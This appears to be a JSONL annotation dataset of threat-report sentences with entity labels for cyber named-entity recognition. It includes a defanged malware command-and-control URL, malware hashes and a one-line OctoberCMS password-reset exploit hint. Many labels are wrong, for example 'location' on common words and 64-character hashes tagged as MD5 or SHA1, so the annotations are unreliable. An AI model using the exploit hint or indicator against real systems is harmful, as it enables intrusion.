{"id":9319,"text":"Below is a table for comparison.","entities":[],"relations":[],"Comments":[]}
{"id":557,"text":"This is a pretty common operation when attackers want to withdraw or disperse currency from ransom payments into other wallets.","entities":[],"relations":[],"Comments":[]}
{"id":5691,"text":"The second cluster is made up of compromised servers running old, open-source versions of Oracle GlassFish Server.","entities":[{"id":17557,"label":"location","start_offset":22,"end_offset":26},{"id":17558,"label":"attack-pattern","start_offset":71,"end_offset":77}],"relations":[],"Comments":[]}
{"id":5941,"text":"We recovered the exploit used to escape the Chrome Sandbox, but not the initial RCE exploit.","entities":[],"relations":[],"Comments":[]}
{"id":2216,"text":"The malware selects a randomly chosen DLL from this directory.","entities":[],"relations":[],"Comments":[]}
{"id":1172,"text":"Pluguin - When penguins and wall sockets mate.","entities":[],"relations":[],"Comments":[]}
{"id":2553,"text":" Based on our newest research, we can answer a question that many have had about these attacks: how is Shamoon 2 able to enter an organization\u2019s network and spread so widely?","entities":[{"id":47747,"label":"threat-actor","start_offset":103,"end_offset":112}],"relations":[],"Comments":[]}
{"id":13850,"text":"Possibly sends collected data to attackers via C&C channel   Indicators of Compromise (IoCs)  SHA256  Detection Name  649675baef92381ffcdfa42e8959015e83c1ab1c7bbfd64635ce5f6f65efd651 BKDR_WATERBEAR.ZTGF 3909e837f3a96736947e387a84bb57e57974db9b77fb1d8fa5d808a89f9a401b TROJ_WATERBEAR.ZTGD fcfdd079b5861c0192e559c80e8f393b16ba419186066a21aab0294327ea9e58 TROJ_WATERBEAR.ZTGJ 3f26a971e393d7f6ce7bf4416abdbfa1def843a0cf74d8b7bb841ca90f5c9ed9 TROJ_WATERBEAR.ZTGH abb91dfd95d11a232375d6b5cdf94b0f7afb9683fb7af3e50bcecdb2bd6cb035 TROJ_WATERBEAR.ZTGH bda6812c3bbba3c885584d234be353b0a2d1b1cbd29161deab0ef8814ac1e8e1 TROJ_WATERBEAR.ZTGI 53402b662679f0bfd08de3abb064930af40ff6c9ec95469ce8489f65796e36c3 TROJ_WATERBEAR.ZTGH f9f6bc637f59ef843bc939cb6be5000da5b9277b972904bf84586ea0a17a6000 TROJ_WATERBEAR.ZTGI 3442c076c8824d5da065616063a6520ee1d9385d327779b5465292ac978dec26 BKDR_WATERBEAR.ZTGD 7858171120792e5c98cfa75ccde7cba49e62a2aeb32ed62322aae0a80a50f1ea","entities":[{"id":42937,"label":"SHA2","start_offset":118,"end_offset":182},{"id":42938,"label":"SHA2","start_offset":203,"end_offset":267},{"id":42939,"label":"SHA1","start_offset":288,"end_offset":352},{"id":42940,"label":"SHA1","start_offset":373,"end_offset":437},{"id":42941,"label":"SHA2","start_offset":458,"end_offset":522},{"id":42942,"label":"SHA1","start_offset":543,"end_offset":607},{"id":42943,"label":"SHA2","start_offset":628,"end_offset":692},{"id":42944,"label":"SHA2","start_offset":713,"end_offset":777},{"id":42945,"label":"MD5","start_offset":798,"end_offset":862},{"id":42946,"label":"SHA1","start_offset":883,"end_offset":947}],"relations":[],"Comments":[]}
{"id":13351,"text":"The next-stage payloads were CobaltStrike in this series of incidents.","entities":[],"relations":[],"Comments":[]}
{"id":1870,"text":"In this example using Trend Micro Vision One, the attempt was unsuccessful likely due to the product\u2019s self-protection feature, which allowed the sensors to continue sending data and block the noted routine.","entities":[{"id":46993,"label":"SOFTWARE","start_offset":22,"end_offset":44}],"relations":[],"Comments":[]}
{"id":2404,"text":" On April 8, we updated this blog to include statistics on SpringShell exploitation attempts that we identified by analyzing hits on the Spring Core Remote Code Execution Vulnerability threat prevention signature for the Palo Alto Networks Next-Generation Firewall, as well as alerts triggered in Cortex XDR.","entities":[{"id":47484,"label":"SOFTWARE","start_offset":297,"end_offset":307},{"id":47480,"label":"TIME","start_offset":4,"end_offset":11},{"id":47481,"label":"vulnerability","start_offset":59,"end_offset":70},{"id":47482,"label":"vulnerability","start_offset":137,"end_offset":184},{"id":47483,"label":"SOFTWARE","start_offset":221,"end_offset":264}],"relations":[{"id":334,"from_id":47481,"to_id":47482,"type":"related-to"}],"Comments":[]}
{"id":1003,"text":"Most reviews of this package were favorable, with comments like \"very good to use\" or \"with seller\u2019s help I can unlock my phone now.\"","entities":[],"relations":[],"Comments":[]}
{"id":6948,"text":"Network traffic from a Crimson RAT malware sample     ObliqueRat Malware Analysis   ","entities":[{"id":21749,"label":"malware","start_offset":23,"end_offset":34},{"id":21750,"label":"location","start_offset":43,"end_offset":49},{"id":21751,"label":"malware","start_offset":54,"end_offset":64}],"relations":[],"Comments":[]}
{"id":9412,"text":"We recently discovered a new advanced persistent threat (APT) group that we have dubbed Earth Berberoka (aka GamblingPuppet).","entities":[{"id":28970,"label":"location","start_offset":57,"end_offset":60},{"id":28971,"label":"threat-actor","start_offset":88,"end_offset":103}],"relations":[],"Comments":[]}
{"id":7056,"text":"The features of the updated SysUpdate payload look similar to its previous versions.","entities":[],"relations":[],"Comments":[]}
{"id":10139,"text":"Second type of credential phishing email that was sent by Pawn Storm in November 2017.","entities":[{"id":30920,"label":"location","start_offset":7,"end_offset":11},{"id":30921,"label":"attack-pattern","start_offset":26,"end_offset":34},{"id":30922,"label":"threat-actor","start_offset":58,"end_offset":68}],"relations":[],"Comments":[]}
{"id":1701,"text":"Some security researcher has taken control of them, completely halting your operation.","entities":[],"relations":[],"Comments":[]}
{"id":1271,"text":" The Sysget sample with a PDF icon created a second executable, named Adobe.exe, which simply displayed the following warning.","entities":[{"id":46645,"label":"malware","start_offset":5,"end_offset":11},{"id":46646,"label":"FILEPATH","start_offset":70,"end_offset":79}],"relations":[],"Comments":[]}
{"id":169,"text":"This brings us to the third point: there is little attack time wasted on files that don\u2019t matter to the victim.","entities":[],"relations":[],"Comments":[]}
{"id":1000,"text":"1. Registering for special accounts under software developer programs:","entities":[],"relations":[],"Comments":[]}
{"id":9448,"text":"Table 1.","entities":[],"relations":[],"Comments":[]}
{"id":12691,"text":"This past year, TAG has been collaborating with Google\u2019s CyberCrime Investigation Group to disrupt Glupteba activity involving Google services.","entities":[{"id":39383,"label":"malware","start_offset":99,"end_offset":107}],"relations":[],"Comments":[]}
{"id":48,"text":"Fast forward five years to 2013 and the rise of the Ransomware business model","entities":[{"id":44581,"label":"TIME","start_offset":27,"end_offset":31}],"relations":[],"Comments":[]}
{"id":5097,"text":"Careful to protect their exploits, the attackers deployed multiple safeguards to make it difficult for security teams to recover any of the stages.","entities":[],"relations":[],"Comments":[]}
{"id":9805,"text":"These email addresses were used for spear phishing, prompting potential victim organizations to open the attachments with malware payloads.","entities":[{"id":29889,"label":"attack-pattern","start_offset":36,"end_offset":50}],"relations":[],"Comments":[]}
{"id":5473,"text":"Tweety Chat\u2019s Android version can record audio, too.","entities":[{"id":51464,"label":"SOFTWARE","start_offset":0,"end_offset":6},{"id":51465,"label":"SOFTWARE","start_offset":14,"end_offset":21}],"relations":[],"Comments":[]}
{"id":10898,"text":"We found several clues that link the malicious Android samples with the StrongPity threat actor.","entities":[],"relations":[],"Comments":[]}
{"id":3810,"text":"ChessMaster can utilize any of these methods to download the next malware in the chain, the open source post-exploitation tool known as \u201cKoadic,\u201d which the previous campaign also used.","entities":[{"id":49682,"label":"malware","start_offset":0,"end_offset":11},{"id":49683,"label":"malware","start_offset":137,"end_offset":143}],"relations":[{"id":858,"from_id":49682,"to_id":49683,"type":"downloads"}],"Comments":[]}
{"id":2397,"text":"This post is also available in:      \u65e5\u672c\u8a9e (Japanese)  Recently, two vulnerabilities were announced within the Spring Framework, an open-source framework for building enterprise Java applications.","entities":[{"id":47467,"label":"SOFTWARE","start_offset":109,"end_offset":125}],"relations":[],"Comments":[]}
{"id":1058,"text":"In Figure 1, you can see an example where an attacker is making it appear that the user is clicking to install a patch when in fact the user is clicking to grant the Porn Droid malware full administrator permissions on the device.","entities":[{"id":46548,"label":"malware","start_offset":166,"end_offset":176}],"relations":[],"Comments":[]}
{"id":93,"text":"Our report, Attacks From All Angles: 2021 Midyear Security Roundup, highlights many of the active attacks we saw, from APTs to ransomware to zero-day exploits.","entities":[{"id":44591,"label":"TIME","start_offset":37,"end_offset":49},{"id":44592,"label":"attack-pattern","start_offset":141,"end_offset":158}],"relations":[],"Comments":[]}
{"id":341,"text":" Since we detected the first CryptoWall 2.0 variant with our WildFire engine on September 29, we\u2019ve seen over 85,000 separate attacks attempting to deliver the malware.","entities":[{"id":1185,"label":"malware","start_offset":61,"end_offset":69},{"id":46032,"label":"TIME","start_offset":80,"end_offset":92},{"id":46033,"label":"malware","start_offset":29,"end_offset":43}],"relations":[],"Comments":[]}
{"id":4980,"text":"ALIEN lives inside multiple privileged processes and receives commands from PREDATOR over IPC.","entities":[{"id":51037,"label":"malware","start_offset":76,"end_offset":84},{"id":15312,"label":"malware","start_offset":0,"end_offset":5}],"relations":[],"Comments":[]}
{"id":5659,"text":"As announced today, Google has taken action to disrupt the operations of Glupteba, a multi-component botnet targeting Windows computers.","entities":[{"id":17428,"label":"location","start_offset":37,"end_offset":43},{"id":17429,"label":"malware","start_offset":73,"end_offset":81}],"relations":[],"Comments":[]}
{"id":3219,"text":"This code runs an HTTP server that listens on predefined ports.","entities":[],"relations":[],"Comments":[]}
{"id":1629,"text":" After evaluating the remote control app and finding malicious behavior, we decided to evaluate all of the other applications published by \u201cfun app\u201d, and found 12 more which all contains the exact same behavior.  Figure 4:","entities":[{"id":46854,"label":"identity","start_offset":140,"end_offset":147}],"relations":[],"Comments":[]}
{"id":4951,"text":"The attackers embed javascript into phishing pages that notify them when the page has been loaded.","entities":[],"relations":[],"Comments":[]}
{"id":1111,"text":"What\u2019s more, they don\u2019t all share millions of uses across both sides of the fence.","entities":[],"relations":[],"Comments":[]}
{"id":2326,"text":"Then the extracted binary was heavily obfuscated with a relatively tedious encoding mechanism--each string is XOR encoded with a different key.","entities":[],"relations":[],"Comments":[]}
{"id":13487,"text":"Since March, we\u2019ve removed more than a thousand YouTube channels that we believe to be part of a large campaign and that were behaving in a coordinated manner.","entities":[{"id":51560,"label":"TIME","start_offset":6,"end_offset":11},{"id":51561,"label":"SOFTWARE","start_offset":48,"end_offset":55}],"relations":[],"Comments":[]}
{"id":3716,"text":"At the collection phase, Carbanak and FIN7 campaigns harvest data from local system sources and through input and screen capture (as performed in a related campaign using the Tirion malware).","entities":[{"id":49515,"label":"attack-pattern","start_offset":53,"end_offset":91},{"id":49516,"label":"attack-pattern","start_offset":114,"end_offset":128},{"id":49512,"label":"threat-actor","start_offset":25,"end_offset":33},{"id":49513,"label":"threat-actor","start_offset":38,"end_offset":42},{"id":49514,"label":"malware","start_offset":175,"end_offset":189}],"relations":[{"id":814,"from_id":49512,"to_id":49513,"type":"related-to"},{"id":815,"from_id":49512,"to_id":49515,"type":"uses"},{"id":816,"from_id":49512,"to_id":49516,"type":"uses"}],"Comments":[]}
{"id":3496,"text":"A new remote controller tool","entities":[],"relations":[],"Comments":[]}
{"id":8906,"text":"Keeping an eye on anomalous events could help detect incidents earlier.","entities":[{"id":27518,"label":"malware","start_offset":11,"end_offset":14}],"relations":[],"Comments":[]}
{"id":6415,"text":"Learn more about the Cyber Threat Alliance.","entities":[],"relations":[],"Comments":[]}
{"id":14374,"text":"Real enterprises are messy places.","entities":[],"relations":[],"Comments":[]}
{"id":2620,"text":"Because of this, we recommend that organizations focus on observing general information security best practices as described in the Mitigation Actions section above.","entities":[],"relations":[],"Comments":[]}
{"id":6330,"text":"In terms of features, BRc4 advertises the following capabilities:","entities":[],"relations":[],"Comments":[]}
{"id":6543,"text":"In particular, we managed to gather details on an individual using the handle Hack520, who we believe is connected to Winnti.","entities":[],"relations":[],"Comments":[]}
{"id":7008,"text":"Indicators of Compromise","entities":[],"relations":[],"Comments":[]}
{"id":550,"text":"At other times, a threat actor lets the victim chat with them directly on group chat software.","entities":[],"relations":[],"Comments":[]}
{"id":1782,"text":"Through our enterprise security platform, including IPS and WildFire, we continue to innovate and prevent advanced exploitation techniques.","entities":[{"id":45128,"label":"SOFTWARE","start_offset":60,"end_offset":68}],"relations":[],"Comments":[]}
{"id":1878,"text":"For users of third-party antivirus software, to stay protected against this vulnerability, we recommend users to update their Windows operating system with the latest security updates, and to use a fully updated antivirus program.\"","entities":[{"id":47006,"label":"SOFTWARE","start_offset":126,"end_offset":143}],"relations":[],"Comments":[]}
{"id":1836,"text":"Verification: Manual replication of antivirus disabling routine","entities":[],"relations":[],"Comments":[]}
{"id":5364,"text":"     Therefore, for the case here, the malware would open \/dev\/mtd2, which is the partition where the Linux kernel image is stored.","entities":[{"id":51366,"label":"FILEPATH","start_offset":58,"end_offset":67}],"relations":[],"Comments":[]}
{"id":2350,"text":"The exception indicates that Apple added generic protections in Big Sur which rendered this exploit useless.","entities":[{"id":47405,"label":"SOFTWARE","start_offset":64,"end_offset":71},{"id":47404,"label":"identity","start_offset":29,"end_offset":34}],"relations":[],"Comments":[]}
{"id":14055,"text":"     Figure 7. PowerShell scripts downloading JPG files     The following TTPs are common in both campaigns related to the scripts in Figure 7:","entities":[{"id":43523,"label":"tools","start_offset":15,"end_offset":25}],"relations":[],"Comments":[]}
{"id":4179,"text":"It uses backdoors with different protocols, which are deployed depending on the victim.","entities":[{"id":49983,"label":"attack-pattern","start_offset":8,"end_offset":42}],"relations":[],"Comments":[]}
{"id":362,"text":"Palo Alto Networks deployed five signatures in April to defend against this threat, 40039, 36420, 36419, 36418 and 36416.","entities":[{"id":46057,"label":"identity","start_offset":0,"end_offset":18},{"id":46058,"label":"TIME","start_offset":47,"end_offset":52}],"relations":[],"Comments":[]}
{"id":14222,"text":"Since the function highly depends on the actual \u201cmachine ID\u201d, decryption on another machine that isn\u2019t the original infected host is not viable, making malware analysis more difficult.","entities":[],"relations":[],"Comments":[]}
{"id":307,"text":" Later that same week, US-CERT released alert TA14-212A on the Backoff Point of Sale (PoS) malware, which describes how malicious actors used publicly available tools to identify organizations that use remote access applications in an unsafe way.","entities":[{"id":46005,"label":"identity","start_offset":23,"end_offset":30},{"id":46006,"label":"malware","start_offset":63,"end_offset":90}],"relations":[],"Comments":[]}
{"id":12999,"text":"Recently observed COLDRIVER credential phishing domains: Ghostwriter, a Belarusian threat actor, has remained active during the course of the war and recently resumed targeting of Gmail accounts via credential phishing.","entities":[{"id":40489,"label":"threat-actor","start_offset":18,"end_offset":27},{"id":40490,"label":"attack-pattern","start_offset":39,"end_offset":47},{"id":40491,"label":"tools","start_offset":57,"end_offset":68},{"id":40493,"label":"location","start_offset":142,"end_offset":145},{"id":40494,"label":"location","start_offset":146,"end_offset":149},{"id":40496,"label":"attack-pattern","start_offset":210,"end_offset":218}],"relations":[],"Comments":[]}
{"id":3475,"text":"It tests the host\u2019s network, retrieves the C&C server from another blog, and uses the RSA algorithm to generate the session key and send information to the C&C server.  Blackgear\u2019s malware tools are delivered to targets using RAR self-extracting executable (SFX) files or office Visual Basic Script (VBScript) to create a decoy document.","entities":[{"id":49276,"label":"attack-pattern","start_offset":322,"end_offset":336},{"id":49275,"label":"threat-actor","start_offset":169,"end_offset":178}],"relations":[],"Comments":[]}
{"id":13924,"text":"That the group admittedly spares companies in CIS countries could be a clue to where DarkSide actors are residing.","entities":[{"id":48752,"label":"malware","start_offset":85,"end_offset":94},{"id":48753,"label":"location","start_offset":46,"end_offset":59}],"relations":[{"id":457,"from_id":48752,"to_id":48753,"type":"related-to"}],"Comments":[]}
{"id":96,"text":"In our 1H\u2019 2021 Cyber Risk Index, we asked organizations what their top infrastructure risks are.","entities":[{"id":45832,"label":"identity","start_offset":16,"end_offset":32},{"id":44593,"label":"TIME","start_offset":7,"end_offset":15}],"relations":[],"Comments":[]}
{"id":1913,"text":"Unknown to the user, the code in the modified Threema allows it to take screenshots of itself every 10 seconds.","entities":[{"id":5617,"label":"TIME","start_offset":94,"end_offset":110},{"id":47035,"label":"SOFTWARE","start_offset":46,"end_offset":53}],"relations":[],"Comments":[]}
{"id":4520,"text":"For example, Google Play Protect, our built-in malware protection for Android, continuously scans devices for potentially harmful applications.","entities":[{"id":50318,"label":"SOFTWARE","start_offset":13,"end_offset":32},{"id":50319,"label":"SOFTWARE","start_offset":70,"end_offset":77}],"relations":[],"Comments":[]}
{"id":13087,"text":"But as great as these leaps forward are, so are the risks if technology systems aren\u2019t properly secured.","entities":[],"relations":[],"Comments":[]}
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{"id":12652,"text":"It does this by changing several registry settings.","entities":[],"relations":[],"Comments":[]}
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{"id":6467,"text":"However, we did not have access to the a.ps1 file.","entities":[],"relations":[],"Comments":[]}
{"id":3979,"text":"The guideline provides an overview of software supply chain risk and how vendors and customers can identify and assess such risks using the NIST Cyber Supply Chain Risk Management (C-SCRM) Framework and the Secure Software Development Framework (SSDF).","entities":[],"relations":[],"Comments":[]}
{"id":3526,"text":"The highlighted portions in Figure 8 show the backdoor\u2019s version number and timestamp with the \u201cwith encrypt\u201d strings.","entities":[],"relations":[],"Comments":[]}
{"id":13685,"text":"Once the compromised credentials are used to successfully log in to accounts, fraudsters can identify themselves as executives.","entities":[],"relations":[],"Comments":[]}
{"id":7126,"text":"The FRP tool that we analyzed was a modified version, which was possibly copied off of Github.","entities":[{"id":22290,"label":"malware","start_offset":4,"end_offset":7},{"id":22291,"label":"location","start_offset":8,"end_offset":12}],"relations":[],"Comments":[]}
{"id":135,"text":"This means avoiding unfamiliar websites, clicking on links or downloading attachments from unknown email senders, keeping products updated with the latest security patches, enabling multi-factor authentication, and using reputable security products.","entities":[],"relations":[],"Comments":[]}
{"id":6837,"text":"And as others have reported, we\u2019re seeing a resurgence in COVID-related hacking and phishing attempts from numerous commercial and government-backed attackers.","entities":[{"id":21296,"label":"location","start_offset":0,"end_offset":3},{"id":21297,"label":"location","start_offset":80,"end_offset":83},{"id":21298,"label":"attack-pattern","start_offset":84,"end_offset":92},{"id":21299,"label":"location","start_offset":127,"end_offset":130}],"relations":[],"Comments":[]}
{"id":8911,"text":"One console with one source of prioritized, optimized alerts supported with guided investigation simplifies the steps needed to fully understand the attack path and impact on the organization.","entities":[{"id":27545,"label":"attack-pattern","start_offset":21,"end_offset":27},{"id":27546,"label":"location","start_offset":161,"end_offset":164},{"id":27547,"label":"location","start_offset":165,"end_offset":171}],"relations":[],"Comments":[]}
{"id":466,"text":"Many DGAs are built to use hundreds or even thousands of domains.","entities":[],"relations":[],"Comments":[]}
{"id":14232,"text":"Winnti currently uses different encryption algorithms to store those C&C references in the files they stored on Github.","entities":[{"id":48417,"label":"identity","start_offset":0,"end_offset":7},{"id":48418,"label":"SOFTWARE","start_offset":112,"end_offset":118}],"relations":[],"Comments":[]}
{"id":5454,"text":"About  Threat Briefs are meant to help busy people understand real-world threats and how they can prevent them in their lives.","entities":[],"relations":[],"Comments":[]}
{"id":8895,"text":"Threat hunters can use this to possibly identify other machines that have PlugX installed: Using attributes that could identify the normal file, such as the hash and the digital signer, a sweeping task could be carried out to identify instances of the normal file.","entities":[{"id":27500,"label":"location","start_offset":7,"end_offset":14},{"id":27501,"label":"location","start_offset":15,"end_offset":18},{"id":27502,"label":"tools","start_offset":74,"end_offset":79},{"id":27503,"label":"location","start_offset":132,"end_offset":138},{"id":27504,"label":"location","start_offset":162,"end_offset":165},{"id":27505,"label":"location","start_offset":252,"end_offset":258}],"relations":[],"Comments":[]}
{"id":2104,"text":"The vulnerability is in the way that the Key Distribution Center (KDC) handles service tickets and validates whether delegation is allowed.","entities":[],"relations":[],"Comments":[]}
{"id":1216,"text":"Again, all the functions mentioned above run silently in the background.","entities":[],"relations":[],"Comments":[]}
{"id":11223,"text":"A log file is written containing a count of the emails that were downloaded.","entities":[],"relations":[],"Comments":[]}
{"id":2552,"text":"To date, Shamoon 2 has unfolded in three separate attack waves on November 11, 2016, November 29, 2016, and January 23, 2017.","entities":[{"id":47742,"label":"TIME","start_offset":0,"end_offset":7},{"id":47743,"label":"threat-actor","start_offset":9,"end_offset":18},{"id":47744,"label":"TIME","start_offset":66,"end_offset":83},{"id":47745,"label":"TIME","start_offset":85,"end_offset":102},{"id":47746,"label":"TIME","start_offset":108,"end_offset":124}],"relations":[],"Comments":[]}
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{"id":6645,"text":"MuddyWater is a group that emerged in 2017 and was initially thought to be part of the financially motivated criminal group commonly referred to as FIN7 due to the use of an open source tool that was used by both sets of activity.","entities":[{"id":20614,"label":"threat-actor","start_offset":0,"end_offset":10},{"id":20616,"label":"location","start_offset":43,"end_offset":46},{"id":20618,"label":"attack-pattern","start_offset":179,"end_offset":185},{"id":20619,"label":"location","start_offset":186,"end_offset":190}],"relations":[],"Comments":[]}
{"id":248,"text":"Figure 12.","entities":[],"relations":[],"Comments":[]}
{"id":69,"text":"If these systems remained infected for at least 24 hours each, the attackers could have earned well over 3 million U.S. dollars in Monero.","entities":[{"id":260,"label":"TIME","start_offset":39,"end_offset":56},{"id":44589,"label":"SOFTWARE","start_offset":131,"end_offset":137}],"relations":[],"Comments":[]}
{"id":1759,"text":"Following this code, another researcher posted his VB script version using more advanced techniques.","entities":[],"relations":[],"Comments":[]}
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{"id":2184,"text":"Palo Alto Networks recently identified a new campaign targeting the transportation sector in Europe with ties to the Dark Seoul and Operation Troy campaigns that took place in 2013.","entities":[{"id":45416,"label":"campaign","start_offset":117,"end_offset":127},{"id":45417,"label":"campaign","start_offset":132,"end_offset":146},{"id":45418,"label":"TIME","start_offset":176,"end_offset":180},{"id":45414,"label":"identity","start_offset":0,"end_offset":18},{"id":45415,"label":"location","start_offset":93,"end_offset":99},{"id":6575,"label":"threat-actor","start_offset":117,"end_offset":127}],"relations":[],"Comments":[]}
{"id":9510,"text":"     Figure 7.  XOR decryption routine      ","entities":[],"relations":[],"Comments":[]}
{"id":11161,"text":"We received leads from Graphika that supported us in this investigation.","entities":[],"relations":[],"Comments":[]}
{"id":1363,"text":"The following line of code attempts to validate the inbound password reset request by comparing the reset code submitted within the HTTP request with the reset code generated by OctoberCMS during a legitimate reset process:  To exploit this vulnerability, the actor would simply supply a boolean true value as the reset code within a custom-crafted HTTP request to reset the password of an account.","entities":[{"id":46695,"label":"SOFTWARE","start_offset":178,"end_offset":188}],"relations":[],"Comments":[]}
{"id":13322,"text":"The five individuals were reportedly connected to the hacking group known as APT41.","entities":[],"relations":[],"Comments":[]}
{"id":13633,"text":"They also perpetrated social engineering attacks to phish credentials or prompt the download of a remote access tool.","entities":[{"id":51720,"label":"attack-pattern","start_offset":22,"end_offset":49}],"relations":[],"Comments":[]}
{"id":13033,"text":"The new technique, displayed below, draws a login page that appears to be on the passport.i.ua domain, overtop of the page hosted on the compromised site.","entities":[],"relations":[],"Comments":[]}
{"id":13152,"text":"We started tracking this particular campaign in 2018, and our analysis shows that it uses a fake executable decoy and a USB trojan strategy to steal information.","entities":[{"id":48937,"label":"attack-pattern","start_offset":120,"end_offset":139},{"id":48936,"label":"TIME","start_offset":48,"end_offset":52}],"relations":[],"Comments":[]}
{"id":14080,"text":"Figure 10 shows an example attributed to APT37 and Operation Earth Kitsune as a comparison.","entities":[{"id":48158,"label":"threat-actor","start_offset":41,"end_offset":47},{"id":48159,"label":"campaign","start_offset":51,"end_offset":74}],"relations":[],"Comments":[]}
{"id":5374,"text":"Asus module code for writing to raw flash memory      As the flash memory content is permanent, this module can be used to establish persistence and survive factory resets.","entities":[],"relations":[],"Comments":[]}
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{"id":150,"text":"The overwhelming majority of ransomware attacks are against Microsoft Windows systems.","entities":[{"id":44606,"label":"SOFTWARE","start_offset":60,"end_offset":77}],"relations":[],"Comments":[]}
{"id":6502,"text":" We were able to get a copy of newsblog.js, which is a simple VBS downloader that communicates with the following URL: hxxp:\/\/23[.]95[.]215[.]100:8008\/index.jsp\/7e95a3d753cc4a17793ef9513e030b49\/4t2Fg7k6wWRnKgd9      Figure 9.","entities":[{"id":20156,"label":"MD5","start_offset":151,"end_offset":210}],"relations":[],"Comments":[]}
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{"id":697,"text":"This rise may be a result of browser exploits becoming more difficult to use, due to the hardening done by browser developers.","entities":[],"relations":[],"Comments":[]}
{"id":12349,"text":"The targets would be prompted to install a legitimate version of McAfee anti-virus software from GitHub, while malware was simultaneously silently installed to the system.","entities":[],"relations":[],"Comments":[]}
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{"id":4227,"text":"An interesting feature of the downloader: It uses an online service to retrieve the victim's IP address and country, which it compares with a list of allowed countries.","entities":[],"relations":[],"Comments":[]}
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{"id":6250,"text":"Our WildFire analysis cloud first picked up samples of this malware on January 22 and thus far we\u2019ve collected 44 distinct samples the display the behavior described by Faghani.","entities":[{"id":19368,"label":"tools","start_offset":4,"end_offset":12},{"id":19369,"label":"location","start_offset":22,"end_offset":27},{"id":19371,"label":"location","start_offset":82,"end_offset":85}],"relations":[],"Comments":[]}
{"id":14124,"text":"Part of the dumped information contained the action of the user with administration roles on the system.","entities":[],"relations":[],"Comments":[]}
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{"id":3763,"text":" CVE-2022-22960 is a privilege escalation vulnerability in VMware Workspace ONE Access, Identity Manager and vRealize Automation instances, due to improper permissions in support scripts.","entities":[{"id":49592,"label":"attack-pattern","start_offset":21,"end_offset":41},{"id":49593,"label":"SOFTWARE","start_offset":59,"end_offset":128},{"id":49591,"label":"vulnerability","start_offset":1,"end_offset":15}],"relations":[{"id":839,"from_id":49591,"to_id":49592,"type":"uses"},{"id":840,"from_id":49593,"to_id":49591,"type":"has"}],"Comments":[]}
{"id":9066,"text":" Figure 8. Empty cryptocurrency wallet of the attacker  Figure 9.","entities":[],"relations":[],"Comments":[]}
{"id":8750,"text":"We received leads from the FBI that supported us in this investigation.","entities":[],"relations":[],"Comments":[]}
{"id":13892,"text":" Throughout the reconnaissance and gaining-entry phases, we saw these legitimate tools used for specific purposes:   PowerShell: for reconnaissance and persistence  Metasploit Framework: for reconnaissance Mimikatz: for reconnaissance BloodHound: for reconnaissance Cobalt Strike: for installation  For modern ransomware like DarkSide, gaining initial access no longer immediately leads to ransomware being dropped.","entities":[{"id":43066,"label":"location","start_offset":31,"end_offset":34},{"id":43067,"label":"attack-pattern","start_offset":117,"end_offset":127},{"id":43068,"label":"location","start_offset":148,"end_offset":151},{"id":43069,"label":"malware","start_offset":165,"end_offset":175},{"id":43070,"label":"tools","start_offset":206,"end_offset":214},{"id":43071,"label":"malware","start_offset":235,"end_offset":245},{"id":43072,"label":"malware","start_offset":266,"end_offset":279},{"id":43073,"label":"threat-actor","start_offset":326,"end_offset":334}],"relations":[],"Comments":[]}
{"id":409,"text":"A recent Unit 42 threat intelligence posting on the topic showed how 63 percent of the unauthorized coin mining sites we found came online in October 2017.","entities":[{"id":46105,"label":"identity","start_offset":9,"end_offset":16},{"id":46106,"label":"TIME","start_offset":142,"end_offset":154}],"relations":[],"Comments":[]}
{"id":5498,"text":"Some of these file stealers specifically target files from USB devices, probably to overcome air-gapped environments.","entities":[],"relations":[],"Comments":[]}
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{"id":5571,"text":"While the disappearance of REvil (aka Sodinokibi) in mid-2021 is filled with uncertainty, security researchers have found a Linux version of the REvil ransomware that they have dubbed as Revix.","entities":[{"id":17140,"label":"threat-actor","start_offset":27,"end_offset":32},{"id":17141,"label":"threat-actor","start_offset":38,"end_offset":48},{"id":17143,"label":"location","start_offset":90,"end_offset":98}],"relations":[],"Comments":[]}
{"id":547,"text":"Usually, they host a website for victims to input the identification key found in the ransom note, upload encrypted files for decryption \u2013 and pay the ransom.","entities":[],"relations":[],"Comments":[]}
{"id":9442,"text":"These hijacking steps result in the following:  ","entities":[],"relations":[],"Comments":[]}
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{"id":2605,"text":" However, as notoriety and success cause this group to grow, we should expect to see diversity of membership reflected in a diversity of victimology, TTPs and action-on-objective motivations.","entities":[],"relations":[],"Comments":[]}
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{"id":13471,"text":"Recently, we shared information on numerous COVID-themed attacks discovered and confirmed by our teams.","entities":[],"relations":[],"Comments":[]}
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{"id":13919,"text":"The actors behind Darkside have stated that they avoid targeting companies in certain industries, including healthcare, education, the public sector, and the nonprofit sector.","entities":[{"id":48741,"label":"malware","start_offset":18,"end_offset":27},{"id":48744,"label":"identity","start_offset":0,"end_offset":10}],"relations":[{"id":451,"from_id":48741,"to_id":48744,"type":"attributed-to"}],"Comments":[]}
{"id":13992,"text":"Threat actors generally don\u2019t leave easily identifiable signatures in software designed to disrupt or otherwise harm an adversary.","entities":[],"relations":[],"Comments":[]}
{"id":5153,"text":"That's absolutely absurd and cybercrimals agree.","entities":[],"relations":[],"Comments":[]}
{"id":2006,"text":" After those commands are executed, the ransomware finishes by appending the file extension .hello, alongside a ransom note titled Hello.txt (Figure 2).","entities":[{"id":47113,"label":"FILEPATH","start_offset":131,"end_offset":140}],"relations":[],"Comments":[]}
{"id":7156,"text":"One sample of the SysUpdate malware variant found January 2021:","entities":[{"id":22381,"label":"location","start_offset":4,"end_offset":10},{"id":22382,"label":"malware","start_offset":18,"end_offset":27}],"relations":[],"Comments":[]}
{"id":384,"text":"If an asset cannot be updated to secure versions of software, it should be isolated or decommissioned altogether.","entities":[],"relations":[],"Comments":[]}
{"id":13025,"text":"Recently observed IPs used in Curious Gorge campaigns: COLDRIVER, a Russian-based threat actor sometimes referred to as Calisto, has launched credential phishing campaigns, targeting several US based NGOs and think tanks, the military of a Balkans country, and a Ukraine based defense 